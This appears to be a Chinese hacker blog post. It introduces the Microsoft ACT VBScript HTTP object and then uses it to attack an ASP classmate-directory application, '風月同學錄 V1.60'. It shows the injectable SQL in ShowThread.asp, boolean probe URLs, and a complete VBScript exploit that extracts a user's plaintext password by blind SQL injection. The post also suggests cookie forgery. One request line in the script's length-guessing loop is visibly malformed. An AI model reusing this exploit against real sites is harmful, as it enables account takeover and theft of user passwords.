昨天晚上在機器里亂翻時無意打開一個vbs腳本,突然發現一個以前沒有見過的對象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),雖然對象沒有見過,但是意思很明顯:發送http請求。本來以為是WMI script API的東東,但是沒有找到創
建對象的語句,這個腳本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net帶的一個javascript:tagshow(event, '%B2%E2%CA%D4');" href="javascript:;" target=_self>測試站點的工具,以前打開過,但是沒有研究過如何使用,于是我打開幫助文件(查過MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的讀了一下,竟然是一整套的HTTP客戶端對象(不知道這樣說是不是準確),把對象和屬性列出來,你看了就可以知道了,以下是Test對象模型,還有個application對象模型,如果你有深入了解的興趣請看msdn,我還在學習中:
-Connection對象
Close方法
Send方法
IsOpen屬性
Port屬性
RedirectDepth屬性
Server屬性
UseSSL屬性
-Cookie對象//因為是測試站點的,用腳本程序模擬多用戶,這個可以用來設置每個用戶的cookie,那也該可以用來做手腳,呵呵
Expires屬性
Name屬性
Path屬性
value屬性
-Cookies對象
Add方法
Remove方法
RemoveAll方法
Count屬性
Item屬性
-Header對象
Name屬性
value屬性
-Request對象
Body屬性
CodePage屬性
EncodeBody屬性
EncodeQueryAsUTF8屬性
Headers屬性
HTTPVersion屬性
Path屬性
ResponseBufferSize屬性
Verb屬性
-Response對象
Body屬性 //獲取 HTTP 響應的正文。僅返回響應緩沖區中的正文部分。
CodePage屬性
BytesRecv屬性
BytesSent屬性
ContentLength屬性
Headers屬性
HeaderSize屬性
HTTPVersion屬性
Path屬性
Port屬性
ResultCode屬性
HTTP狀態代碼
Server屬性
TTFB屬性
TTLB屬性
UseSSl屬性
-Test對象
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel屬性
-User對象
Cookies屬性
Name屬性
Password屬性
到此,你也許會想到很多用處,比如測試站點,測試服務器,測試程序,Cookie偽造...看你的想象力了,我第一件感興趣的是開頭提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test對象的SendRequest方法說明:
oResponse = Test.SendRequest(strURL)
參數:strURL as string:表示所請求的URL
返回值:oResponse As Reponse:表示代表響應請求的Web服務器響應的對象(就是上面的Response對象)
這個對象讓我們可以很容易的寫出針對80端口的攻擊程序,如溯雪的功能,現在流行sql injection,網上的sql injection的攻擊程序大都用perl寫的,我又不會perl,用C寫一個完整的socket程序相對煩瑣一些,是這個對象為vbs提供了可能,而且程序相當簡單,雖然犧牲了效率,但是對于我們菜鳥不失為一個好辦法,下面就舉一個例子來說明:
風月同學錄是一套免費的asp同學錄程序,可能你沒有聽說過,不過在同學錄類的免費web程序中算是功能出色的了,所以有不少站點采用了或者修改后使用了它(我念過的那所高中的網站的同學錄就是用的這套程序改寫的),我手上有V1.60,去年從網上down下來的,寫這篇時在寢室,上不了網,也無法得到最新的版本了,反正也只是個例子,就湊合用吧,呵呵。大致看了一些代碼發現多處可以注入的地方,最明顯(因為在首頁就看到)的就是它的一個論壇形式的留言板ShowThread.asp里:
...
topicid=request("RootID")
sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid
set rs=conn.execute(sql)
...
非常古老且經典的一個,呵呵,試了下:
http://192.168.101.16/txl/ShowThrea...D=7%20and%201=1
http://192.168.101.16/txl/ShowThrea...D=7%20and%201=2
數據表結構我都知道,用戶名也都可以在用戶列表看出來,那么這個例子就演示一下猜解密碼,什么?太簡單了?只是個例子嘛,別笑哦~~寫的時候也不是一帆風順~~寫的很差,尤其循環里如果探測到正確的就應該退出循環,但是想不起來怎么退出了(break?exit?),不過對于這個密碼明文存放的程序來說已經夠了,一個6位的密碼用了15秒左右猜出,改進下會提高不少,但效率上始終和perl不能比了。
要使用這個對象要裝Microsoft ACT是Visual Studio.Net里一個工具,我在另一臺機器上直接用regsrv32注冊相關的dll失敗了,所以還是要裝一下。
'*********************************************
'風月同學錄V1.60漏洞測試腳本 by luoluo
'注意:需要裝Visual Studio.Net里的ACT工具
'*********************************************
Option Explicit
On Error Resume Next
Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username
'從命令行得到要破解的人的用戶名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If
WScript.Echo "開始探測,請等待... ..."
'正確頁面的標志,這個隨便找的,因為只要是兩個頁面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
'存放密碼
pwd = ""
'密碼的字符范圍
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
'建立對象
Set Test = CreateObject("ACT.Test")
'得到用戶的密碼的長度
For i = 0 to 128 step 1
'發送請求,返回一個Response對象,地址長可以用&分成段,那樣好看一些
Set o_Response = Test.SendRequest(" & i & "'%20and%20userid='" & username & "')")
'如果返回的頁面里有正確標志那么長度就對了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next
'猜解用戶的密碼
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")
If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next
If err Then
WScript.Echo "錯誤:" & Error.Description
Error.Clear
Else
'輸出密碼
WScript.Echo "密碼:" & pwd
End If
Set Test = nothing